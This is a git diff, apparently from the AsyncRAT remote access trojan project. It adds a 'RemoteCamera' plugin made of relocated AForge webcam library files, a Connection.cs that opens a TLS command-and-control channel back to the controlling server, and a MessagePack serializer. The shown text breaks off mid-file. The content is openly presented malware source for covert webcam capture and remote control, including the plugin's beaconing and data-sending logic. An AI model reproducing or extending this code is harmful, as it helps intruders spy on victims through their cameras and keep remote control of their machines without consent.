b/AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/AForge/Video.DirectShow/Internals/IFilterGraph2.cs similarity index 100% rename from AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IFilterGraph2.cs rename to AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/AForge/Video.DirectShow/Internals/IFilterGraph2.cs diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IGraphBuilder.cs b/AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/AForge/Video.DirectShow/Internals/IGraphBuilder.cs similarity index 100% rename from AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IGraphBuilder.cs rename to AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/AForge/Video.DirectShow/Internals/IGraphBuilder.cs diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IMediaControl.cs b/AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/AForge/Video.DirectShow/Internals/IMediaControl.cs similarity index 100% rename from AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IMediaControl.cs rename to AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/AForge/Video.DirectShow/Internals/IMediaControl.cs diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IMediaEventEx.cs b/AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/AForge/Video.DirectShow/Internals/IMediaEventEx.cs similarity index 100% rename from AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IMediaEventEx.cs rename to AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/AForge/Video.DirectShow/Internals/IMediaEventEx.cs diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IPin.cs b/AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/AForge/Video.DirectShow/Internals/IPin.cs similarity index 100% rename from AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IPin.cs rename to AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/AForge/Video.DirectShow/Internals/IPin.cs diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IPropertyBag.cs b/AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/AForge/Video.DirectShow/Internals/IPropertyBag.cs similarity index 100% rename from AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IPropertyBag.cs rename to AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/AForge/Video.DirectShow/Internals/IPropertyBag.cs diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IReferenceClock.cs b/AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/AForge/Video.DirectShow/Internals/IReferenceClock.cs similarity index 100% rename from AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/IReferenceClock.cs rename to AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/AForge/Video.DirectShow/Internals/IReferenceClock.cs diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/ISampleGrabber.cs b/AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/AForge/Video.DirectShow/Internals/ISampleGrabber.cs similarity index 100% rename from AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/ISampleGrabber.cs rename to AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/AForge/Video.DirectShow/Internals/ISampleGrabber.cs diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/ISampleGrabberCB.cs b/AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/AForge/Video.DirectShow/Internals/ISampleGrabberCB.cs similarity index 100% rename from AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/ISampleGrabberCB.cs rename to AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/AForge/Video.DirectShow/Internals/ISampleGrabberCB.cs diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/ISpecifyPropertyPages.cs b/AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/AForge/Video.DirectShow/Internals/ISpecifyPropertyPages.cs similarity index 100% rename from AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/ISpecifyPropertyPages.cs rename to AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/AForge/Video.DirectShow/Internals/ISpecifyPropertyPages.cs diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/Structures.cs b/AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/AForge/Video.DirectShow/Internals/Structures.cs similarity index 100% rename from AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/Structures.cs rename to AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/AForge/Video.DirectShow/Internals/Structures.cs diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/Uuids.cs b/AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/AForge/Video.DirectShow/Internals/Uuids.cs similarity index 100% rename from AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/Uuids.cs rename to AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/AForge/Video.DirectShow/Internals/Uuids.cs diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/Win32.cs b/AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/AForge/Video.DirectShow/Internals/Win32.cs similarity index 100% rename from AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/Win32.cs rename to AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/AForge/Video.DirectShow/Internals/Win32.cs diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/PhysicalConnectorType.cs b/AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/AForge/Video.DirectShow/PhysicalConnectorType.cs similarity index 100% rename from AsyncRAT-C#/Client/AForge/Video.DirectShow/PhysicalConnectorType.cs rename to AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/AForge/Video.DirectShow/PhysicalConnectorType.cs diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/Uuids.cs b/AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/AForge/Video.DirectShow/Uuids.cs similarity index 100% rename from AsyncRAT-C#/Client/AForge/Video.DirectShow/Uuids.cs rename to AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/AForge/Video.DirectShow/Uuids.cs diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/VideoCapabilities.cs b/AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/AForge/Video.DirectShow/VideoCapabilities.cs similarity index 100% rename from AsyncRAT-C#/Client/AForge/Video.DirectShow/VideoCapabilities.cs rename to AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/AForge/Video.DirectShow/VideoCapabilities.cs diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/VideoCaptureDevice.cs b/AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/AForge/Video.DirectShow/VideoCaptureDevice.cs similarity index 100% rename from AsyncRAT-C#/Client/AForge/Video.DirectShow/VideoCaptureDevice.cs rename to AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/AForge/Video.DirectShow/VideoCaptureDevice.cs diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/VideoInput.cs b/AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/AForge/Video.DirectShow/VideoInput.cs similarity index 100% rename from AsyncRAT-C#/Client/AForge/Video.DirectShow/VideoInput.cs rename to AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/AForge/Video.DirectShow/VideoInput.cs diff --git a/AsyncRAT-C#/Client/AForge/Video/IVideoSource.cs b/AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/AForge/Video/IVideoSource.cs similarity index 100% rename from AsyncRAT-C#/Client/AForge/Video/IVideoSource.cs rename to AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/AForge/Video/IVideoSource.cs diff --git a/AsyncRAT-C#/Client/AForge/Video/VideoEvents.cs b/AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/AForge/Video/VideoEvents.cs similarity index 100% rename from AsyncRAT-C#/Client/AForge/Video/VideoEvents.cs rename to AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/AForge/Video/VideoEvents.cs diff --git a/AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/Connection.cs b/AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/Connection.cs new file mode 100644 index 0000000..23c984a --- /dev/null +++ b/AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/Connection.cs @@ -0,0 +1,211 @@ +using Plugin.MessagePack; +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.IO; +using System.Linq; +using System.Net.Security; +using System.Net.Sockets; +using System.Security.Authentication; +using System.Security.Cryptography.X509Certificates; +using System.Text; +using System.Threading; + +namespace Plugin +{ + public static class Connection + { + public static Socket TcpClient { get; set; } + public static SslStream SslClient { get; set; } + public static X509Certificate2 ServerCertificate { get; set; } + private static byte[] Buffer { get; set; } + private static long Buffersize { get; set; } + private static Timer Tick { get; set; } + private static MemoryStream MS { get; set; } + public static bool IsConnected { get; set; } + private static object SendSync { get; } = new object(); + public static string Hwid { get; set; } + + public static void InitializeClient() + { + try + { + + TcpClient = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp) + { + ReceiveBufferSize = 50 * 1024, + SendBufferSize = 50 * 1024, + }; + + TcpClient.Connect(Plugin.Socket.RemoteEndPoint.ToString().Split(':')[0], Convert.ToInt32(Plugin.Socket.RemoteEndPoint.ToString().Split(':')[1])); + if (TcpClient.Connected) + { + Debug.WriteLine("Plugin Connected!"); + IsConnected = true; + SslClient = new SslStream(new NetworkStream(TcpClient, true), false, ValidateServerCertificate); + SslClient.AuthenticateAsClient(TcpClient.RemoteEndPoint.ToString().Split(':')[0], null, SslProtocols.Tls, false); + Buffer = new byte[4]; + MS = new MemoryStream(); + Tick = new Timer(new TimerCallback(CheckServer), null, new Random().Next(15 * 1000, 30 * 1000), new Random().Next(15 * 1000, 30 * 1000)); + SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null); + + new Thread(() => + { + Packet.GetWebcams(); + }).Start(); + + } + else + { + IsConnected = false; + return; + } + } + catch + { + Debug.WriteLine("Disconnected!"); + IsConnected = false; + return; + } + } + + private static bool ValidateServerCertificate(object sender, X509Certificate certificate, X509Chain chain, SslPolicyErrors sslPolicyErrors) + { +#if DEBUG + return true; +#endif + return ServerCertificate.Equals(certificate); + } + + public static void Disconnected() + { + + try + { + IsConnected = false; + Packet.IsOk = false; + Tick?.Dispose(); + SslClient?.Dispose(); + TcpClient?.Dispose(); + MS?.Dispose(); + } + catch { } + } + + public static void ReadServertData(IAsyncResult ar) + { + try + { + if (!TcpClient.Connected || !IsConnected) + { + IsConnected = false; + return; + } + int recevied = SslClient.EndRead(ar); + if (recevied > 0) + { + MS.Write(Buffer, 0, recevied); + if (MS.Length == 4) + { + Buffersize = BitConverter.ToInt32(MS.ToArray(), 0); + Debug.WriteLine("/// Plugin Buffersize " + Buffersize.ToString() + " Bytes ///"); + MS.Dispose(); + MS = new MemoryStream(); + if (Buffersize > 0) + { + Buffer = new byte[Buffersize]; + while (MS.Length != Buffersize) + { + int rc = SslClient.Read(Buffer, 0, Buffer.Length); + if (rc == 0) + { + IsConnected = false; + return; + } + MS.Write(Buffer, 0, rc); + Buffer = new byte[Buffersize - MS.Length]; + } + if (MS.Length == Buffersize) + { + Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read)); + thread.Start(MS.ToArray()); + Buffer = new byte[4]; + MS.Dispose(); + MS = new MemoryStream(); + } + } + } + SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null); + } + else + { + IsConnected = false; + return; + } + } + catch + { + IsConnected = false; + return; + } + } + + public static void Send(byte[] msg) + { + lock (SendSync) + { + try + { + if (!IsConnected || msg == null) + { + return; + } + + byte[] buffersize = BitConverter.GetBytes(msg.Length); + TcpClient.Poll(-1, SelectMode.SelectWrite); + SslClient.Write(buffersize, 0, buffersize.Length); + + if (msg.Length > 1000000) //1mb + { + int chunkSize = 50 * 1024; + byte[] chunk = new byte[chunkSize]; + using (MemoryStream buffereReader = new MemoryStream(msg)) + { + BinaryReader binaryReader = new BinaryReader(buffereReader); + int bytesToRead = (int)buffereReader.Length; + do + { + chunk = binaryReader.ReadBytes(chunkSize); + bytesToRead -= chunkSize; + SslClient.Write(chunk, 0, chunk.Length); + SslClient.Flush(); + } while (bytesToRead > 0); + + binaryReader.Dispose(); + } + } + else + { + SslClient.Write(msg, 0, msg.Length); + SslClient.Flush(); + } + Debug.WriteLine("Plugin Packet Sent"); + } + catch + { + IsConnected = false; + return; + } + } + } + + public static void CheckServer(object obj) + { + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "Ping!)"; + Send(msgpack.Encode2Bytes()); + GC.Collect(); + } + + } +} diff --git a/AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/MessagePack/BytesTools.cs b/AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/MessagePack/BytesTools.cs new file mode 100644 index 0000000..bd66e46 --- /dev/null +++ b/AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/MessagePack/BytesTools.cs @@ -0,0 +1,102 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace Plugin.MessagePack +{ + public class BytesTools + { + static UTF8Encoding utf8Encode = new UTF8Encoding(); + + public static byte[] GetUtf8Bytes(String s) + { + + return utf8Encode.GetBytes(s); + } + + public static String GetString(byte[] utf8Bytes) + { + return utf8Encode.GetString(utf8Bytes); + } + + public static String BytesAsString(byte[] bytes) + { + StringBuilder sb = new StringBuilder(); + foreach (byte b in bytes) + { + sb.Append(String.Format("{0:D3} ", b)); + } + return sb.ToString(); + } + + + public static String BytesAsHexString(byte[] bytes) + { + StringBuilder sb = new StringBuilder(); + foreach (byte b in bytes) + { + sb.Append(String.Format("{0:X2} ", b)); + } + return sb.ToString(); + } + + /// + /// 交换byte数组数据 + /// 可用于高低数据交换 + /// + /// 要交换的byte数组 + /// 返回交换后的数据 + public static byte[] SwapBytes(byte[] v) + { + byte[] r = new byte[v.Length]; + int j = v.Length - 1; + for (int i = 0; i < r.Length; i++) + { + r[i] = v[j]; + j--; + } + return r; + } + + public static byte[] SwapInt64(Int64 v) + { + //byte[] r = new byte[8]; + //r[7] = (byte)v; + //r[6] = (byte)(v >> 8); + //r[5] = (byte)(v >> 16); + //r[4] = (byte)(v >> 24); + //r[3] = (byte)(v >> 32); + //r[2] = (byte)(v >> 40); + //r[1] = (byte)(v >> 48); + //r[0] = (byte)(v >> 56); + return SwapBytes(BitConverter.GetBytes(v)); + } + + public static byte[] SwapInt32(Int32 v) + { + byte[] r = new byte[4]; + r[3] = (byte)v; + r[2] = (byte)(v >> 8); + r[1] = (byte)(v >> 16); + r[0] = (byte)(v >> 24); + return r; + } + + + public static byte[] SwapInt16(Int16 v) + { + byte[] r = new byte[2]; + r[1] = (byte)v; + r[0] = (byte)(v >> 8); + return r; + } + + public static byte[] SwapDouble(Double v) + { + return SwapBytes(BitConverter.GetBytes(v)); + } + + } +} \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/MessagePack/MsgPack.cs b/AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/MessagePack/MsgPack.cs new file mode 100644 index 0000000..131eb37 --- /dev/null +++ b/AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/MessagePack/MsgPack.cs @@ -0,0 +1,926 @@ +using System; +using System.Collections; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + + +namespace Plugin.MessagePack +{ + public class MsgPackEnum : IEnumerator + { + List children; + int position = -1; + + public MsgPackEnum(List obj) + { + children = obj; + } + object IEnumerator.Current + { + get { return children[position]; } + } + + bool IEnumerator.MoveNext() + { + position++; + return (position < children.Count); + } + + void IEnumerator.Reset() + { + position = -1; + } + + } + + public class MsgPackArray + { + List children; + MsgPack owner; + + public MsgPackArray(MsgPack msgpackObj, List listObj) + { + owner = msgpackObj; + children = listObj; + } + + public MsgPack Add() + { + return owner.AddArrayChild(); + } + + public MsgPack Add(String value) + { + MsgPack obj = owner.AddArrayChild(); + obj.AsString = value; + return obj; + } + + public MsgPack Add(Int64 value) + { + MsgPack obj = owner.AddArrayChild(); + obj.SetAsInteger(value); + return obj; + } + + public MsgPack Add(Double value) + { + MsgPack obj = owner.AddArrayChild(); + obj.SetAsFloat(value); + return obj; + } + + public MsgPack this[int index] + { + get { return children[index]; } + } + + public int Length + { + get { return children.Count; } + } + } + + public class MsgPack : IEnumerable + { + string name; + string lowerName; + object innerValue; + MsgPackType valueType; + MsgPack parent; + List children = new List(); + MsgPackArray refAsArray = null; + + private void SetName(string value) + { + this.name = value; + this.lowerName = name.ToLower(); + } + + private void Clear() + { + for (int i = 0; i < children.Count; i++) + { + ((MsgPack)children[i]).Clear(); + } + children.Clear(); + } + + private MsgPack InnerAdd() + { + MsgPack r = new MsgPack(); + r.parent = this; + this.children.Add(r); + return r; + } + + private int IndexOf(string name) + { + int i = -1; + int r = -1; + + string tmp = name.ToLower(); + foreach (MsgPack item in children) + { + i++; + if (tmp.Equals(item.lowerName)) + { + r = i; + break; + } + } + return r; + } + + public MsgPack FindObject(string name) + { + int i = IndexOf(name); + if (i == -1) + { + return null; + } + else + { + return this.children[i]; + } + } + + + private MsgPack InnerAddMapChild() + { + if (valueType != MsgPackType.Map) + { + Clear(); + this.valueType = MsgPackType.Map; + } + return InnerAdd(); + } + + private MsgPack InnerAddArrayChild() + { + if (valueType != MsgPackType.Array) + { + Clear(); + this.valueType = MsgPackType.Array; + } + return InnerAdd(); + } + + public MsgPack AddArrayChild() + { + return InnerAddArrayChild(); + } + + private void WriteMap(Stream ms) + { + byte b; + byte[] lenBytes; + int len = children.Count; + if (len <= 15) + { + b = (byte)(0x80 + (byte)len); + ms.WriteByte(b); + } + else if (len <= 65535) + { + b = 0xDE; + ms.WriteByte(b); + + lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len)); + ms.Write(lenBytes, 0, lenBytes.Length); + } + else + { + b = 0xDF; + ms.WriteByte(b); + lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len)); + ms.Write(lenBytes, 0, lenBytes.Length); + } + + for (int i = 0; i < len; i++) + { + WriteTools.WriteString(ms, children[i].name); + children[i].Encode2Stream(ms); + } + } + + private void WirteArray(Stream ms) + { + byte b; + byte[] lenBytes; + int len = children.Count; + if (len <= 15) + { + b = (byte)(0x90 + (byte)len); + ms.WriteByte(b); + } + else if (len <= 65535) + { + b = 0xDC; + ms.WriteByte(b); + + lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len)); + ms.Write(lenBytes, 0, lenBytes.Length); + } + else + { + b = 0xDD; + ms.WriteByte(b); + lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len)); + ms.Write(lenBytes, 0, lenBytes.Length); + } + + + for (int i = 0; i < len; i++) + { + ((MsgPack)children[i]).Encode2Stream(ms); + } + } + + public void SetAsInteger(Int64 value) + { + this.innerValue = value; + this.valueType = MsgPackType.Integer; + } + + public void SetAsUInt64(UInt64 value) + { + this.innerValue = value; + this.valueType = MsgPackType.UInt64; + } + + public UInt64 GetAsUInt64() + { + switch (this.valueType) + { + case MsgPackType.Integer: + return Convert.ToUInt64((Int64)this.innerValue); + case MsgPackType.UInt64: + return (UInt64)this.innerValue; + case MsgPackType.String: + return UInt64.Parse(this.innerValue.ToString().Trim()); + case MsgPackType.Float: + return Convert.ToUInt64((Double)this.innerValue); + case MsgPackType.Single: + return Convert.ToUInt64((Single)this.innerValue); + case MsgPackType.DateTime: + return Convert.ToUInt64((DateTime)this.innerValue); + default: + return 0; + } + + } + + public Int64 GetAsInteger() + { + switch (this.valueType) + { + case MsgPackType.Integer: + return (Int64)this.innerValue; + case MsgPackType.UInt64: + return Convert.ToInt64((Int64)this.innerValue); + case MsgPackType.String: + return Int64.Parse(this.innerValue.ToString().Trim()); + case MsgPackType.Float: + return Convert.ToInt64((Double)this.innerValue); + case MsgPackType.Single: + return Convert.ToInt64((Single)this.innerValue); + case MsgPackType.DateTime: + return Convert.ToInt64((DateTime)this.innerValue); + default: + return 0; + } + } + + public Double GetAsFloat() + { + switch (this.valueType) + { + case MsgPackType.Integer: + return Convert.ToDouble((Int64)this.innerValue); + case MsgPackType.String: + return Double.Parse((String)this.innerValue); + case MsgPackType.Float: + return (Double)this.innerValue; + case MsgPackType.Single: + return (Single)this.innerValue; + case MsgPackType.DateTime: + return Convert.ToInt64((DateTime)this.innerValue); + default: + return 0; + } + } + + + public void SetAsBytes(byte[] value) + { + this.innerValue = value; + this.valueType = MsgPackType.Binary; + } + + public byte[] GetAsBytes() + { + switch (this.valueType) + { + case MsgPackType.Integer: + return BitConverter.GetBytes((Int64)this.innerValue); + case MsgPackType.String: + return BytesTools.GetUtf8Bytes(this.innerValue.ToString()); + case MsgPackType.Float: + return BitConverter.GetBytes((Double)this.innerValue); + case MsgPackType.Single: + return BitConverter.GetBytes((Single)this.innerValue); + case MsgPackType.DateTime: + long dateval = ((DateTime)this.innerValue).ToBinary(); + return BitConverter.GetBytes(dateval); + case MsgPackType.Binary: + return (byte[])this.innerValue; + default: + return new byte[] { }; + } + } + + public void Add(string key, String value) + { + MsgPack tmp = InnerAddArrayChild(); + tmp.name = key; + tmp.SetAsString(value); + } + + public void Add(string key, int value) + { + MsgPack tmp = InnerAddArrayChild(); + tmp.name = key; + tmp.SetAsInteger(value); + } + + public bool LoadFileAsBytes(string fileName) + { + if (File.Exists(fileName)) + { + byte[] value = null; + FileStream fs = new FileStream(fileName, FileMode.Open, FileAccess.Read, FileShare.Read); + value = new byte[fs.Length]; + fs.Read(value, 0, (int)fs.Length); + fs.Close(); + fs.Dispose(); + SetAsBytes(value); + return true; + } + else + { + return false; + } + + } + + public bool SaveBytesToFile(string fileName) + { + if (this.innerValue != null) + { + FileStream fs = new FileStream(fileName, FileMode.Append); + fs.Write(((byte[])this.innerValue), 0, ((byte[])this.innerValue).Length); + fs.Close(); + fs.Dispose(); + return true; + } + else + { + return false; + } + } + + public MsgPack ForcePathObject(string path) + { + MsgPack tmpParent, tmpObject; + tmpParent = this; + string[] pathList = path.Trim().Split(new Char[] { '.', '/', '\\' }); + string tmp = null; + if (pathList.Length == 0) + { + return null; + } + else if (pathList.Length > 1) + { + for (int i = 0; i < pathList.Length - 1; i++) + { + tmp = pathList[i]; + tmpObject = tmpParent.FindObject(tmp); + if (tmpObject == null) + { + tmpParent = tmpParent.InnerAddMapChild(); + tmpParent.SetName(tmp); + } + else + { + tmpParent = tmpObject; + } + } + } + tmp = pathList[pathList.Length - 1]; + int j = tmpParent.IndexOf(tmp); + if (j > -1) + { + return tmpParent.children[j]; + } + else + { + tmpParent = tmpParent.InnerAddMapChild(); + tmpParent.SetName(tmp); + return tmpParent; + } + } + + public void SetAsNull() + { + Clear(); + this.innerValue = null; + this.valueType = MsgPackType.Null; + } + + public void SetAsString(String value) + { + this.innerValue = value; + this.valueType = MsgPackType.String; + } + + public String GetAsString() + { + if (this.innerValue == null) + { + return ""; + } + else + { + return this.innerValue.ToString(); + } + + } + + public void SetAsBoolean(Boolean bVal) + { + this.valueType = MsgPackType.Boolean; + this.innerValue = bVal; + } + + public void SetAsSingle(Single fVal) + { + this.valueType = MsgPackType.Single; + this.innerValue = fVal; + } + + public void SetAsFloat(Double fVal) + { + this.valueType = MsgPackType.Float; + this.innerValue = fVal; + } + + + + public void DecodeFromBytes(byte[] bytes) + { + using (MemoryStream ms = new MemoryStream()) + { + ms.Write(bytes, 0, bytes.Length); + ms.Position = 0; + DecodeFromStream(ms); + } + } + + public void DecodeFromFile(string fileName) + { + FileStream fs = new FileStream(fileName, FileMode.Open); + DecodeFromStream(fs); + fs.Dispose(); + } + + + + public void DecodeFromStream(Stream ms) + { + byte lvByte = (byte)ms.ReadByte(); + byte[] rawByte = null; + MsgPack msgPack = null; + int len = 0; + int i = 0; + + if (lvByte <= 0x7F) + { //positive fixint 0xxxxxxx 0x00 - 0x7f + SetAsInteger(lvByte); + } + else if ((lvByte >= 0x80) && (lvByte <= 0x8F)) + { + //fixmap 1000xxxx 0x80 - 0x8f + this.Clear(); + this.valueType = MsgPackType.Map; + len = lvByte - 0x80; + for (i = 0; i < len; i++) + { + msgPack = InnerAdd(); + msgPack.SetName(ReadTools.ReadString(ms)); + msgPack.DecodeFromStream(ms); + } + } + else if ((lvByte >= 0x90) && (lvByte <= 0x9F)) //fixarray 1001xxxx 0x90 - 0x9f + { + //fixmap 1000xxxx 0x80 - 0x8f + this.Clear(); + this.valueType = MsgPackType.Array; + len = lvByte - 0x90; + for (i = 0; i < len; i++) + { + msgPack = InnerAdd(); + msgPack.DecodeFromStream(ms); + } + } + else if ((lvByte >= 0xA0) && (lvByte <= 0xBF)) // fixstr 101xxxxx 0xa0 - 0xbf + { + len = lvByte - 0xA0; + SetAsString(ReadTools.ReadString(ms, len)); + } + else if ((lvByte >= 0xE0) && (lvByte <= 0xFF)) + { /// -1..-32 + // negative fixnum stores 5-bit negative integer + // +--------+ + // |111YYYYY| + // +--------+ + SetAsInteger((sbyte)lvByte); + } + else if (lvByte == 0xC0) + { + SetAsNull(); + } + else if (lvByte == 0xC1) + { + throw new Exception("(never used) type $c1"); + } + else if (lvByte == 0xC2) + { + SetAsBoolean(false); + } + else if (lvByte == 0xC3) + { + SetAsBoolean(true); + } + else if (lvByte == 0xC4) + { // max 255 + len = ms.ReadByte(); + rawByte = new byte[len]; + ms.Read(rawByte, 0, len); + SetAsBytes(rawByte); + } + else if (lvByte == 0xC5) + { // max 65535 + rawByte = new byte[2]; + ms.Read(rawByte, 0, 2); + rawByte = BytesTools.SwapBytes(rawByte); + len = BitConverter.ToUInt16(rawByte, 0); + + // read binary + rawByte = new byte[len]; + ms.Read(rawByte, 0, len); + SetAsBytes(rawByte); + } + else if (lvByte == 0xC6) + { // binary max: 2^32-1 + rawByte = new byte[4]; + ms.Read(rawByte, 0, 4); + rawByte = BytesTools.SwapBytes(rawByte); + len = BitConverter.ToInt32(rawByte, 0); + + // read binary + rawByte = new byte[len]; + ms.Read(rawByte, 0, len); + SetAsBytes(rawByte); + } + else if ((lvByte == 0xC7) || (lvByte == 0xC8) || (lvByte == 0xC9)) + { + throw new Exception("(ext8,ext16,ex32) type $c7,$c8,$c9"); + } + else if (lvByte == 0xCA) + { // float 32 + rawByte = new byte[4]; + ms.Read(rawByte, 0, 4); + rawByte = BytesTools.SwapBytes(rawByte); + + SetAsSingle(BitConverter.ToSingle(rawByte, 0)); + } + else if (lvByte == 0xCB) + { // float 64 + rawByte = new byte[8]; + ms.Read(rawByte, 0, 8); + rawByte = BytesTools.SwapBytes(rawByte); + SetAsFloat(BitConverter.ToDouble(rawByte, 0)); + } + else if (lvByte == 0xCC) + { // uint8 + // uint 8 stores a 8-bit unsigned integer + // +--------+--------+ + // | 0xcc |ZZZZZZZZ| + // +--------+--------+ + lvByte = (byte)ms.ReadByte(); + SetAsInteger(lvByte); + } + else if (lvByte == 0xCD) + { // uint16 + // uint 16 stores a 16-bit big-endian unsigned integer + // +--------+--------+--------+ + // | 0xcd |ZZZZZZZZ|ZZZZZZZZ| + // +--------+--------+--------+ + rawByte = new byte[2]; + ms.Read(rawByte, 0, 2); + rawByte = BytesTools.SwapBytes(rawByte); + SetAsInteger(BitConverter.ToUInt16(rawByte, 0)); + } + else if (lvByte == 0xCE) + { + // uint 32 stores a 32-bit big-endian unsigned integer + // +--------+--------+--------+--------+--------+ + // | 0xce |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ + // +--------+--------+--------+--------+--------+ + rawByte = new byte[4]; + ms.Read(rawByte, 0, 4); + rawByte = BytesTools.SwapBytes(rawByte); + SetAsInteger(BitConverter.ToUInt32(rawByte, 0)); + } + else if (lvByte == 0xCF) + { + // uint 64 stores a 64-bit big-endian unsigned integer + // +--------+--------+--------+--------+--------+--------+--------+--------+--------+ + // | 0xcf |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| + // +--------+--------+--------+--------+--------+--------+--------+--------+--------+ + rawByte = new byte[8]; + ms.Read(rawByte, 0, 8); + rawByte = BytesTools.SwapBytes(rawByte); + SetAsUInt64(BitConverter.ToUInt64(rawByte, 0)); + } + else if (lvByte == 0xDC) + { + // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ + // | 0xdc |YYYYYYYY|YYYYYYYY| N objects | + // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ + rawByte = new byte[2]; + ms.Read(rawByte, 0, 2); + rawByte = BytesTools.SwapBytes(rawByte); + len = BitConverter.ToInt16(rawByte, 0); + + this.Clear(); + this.valueType = MsgPackType.Array; + for (i = 0; i < len; i++) + { + msgPack = InnerAdd(); + msgPack.DecodeFromStream(ms); + } + } + else if (lvByte == 0xDD) + { + // +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+ + // | 0xdd |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| N objects | + // +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+ + rawByte = new byte[4]; + ms.Read(rawByte, 0, 4); + rawByte = BytesTools.SwapBytes(rawByte); + len = BitConverter.ToInt16(rawByte, 0); + + this.Clear(); 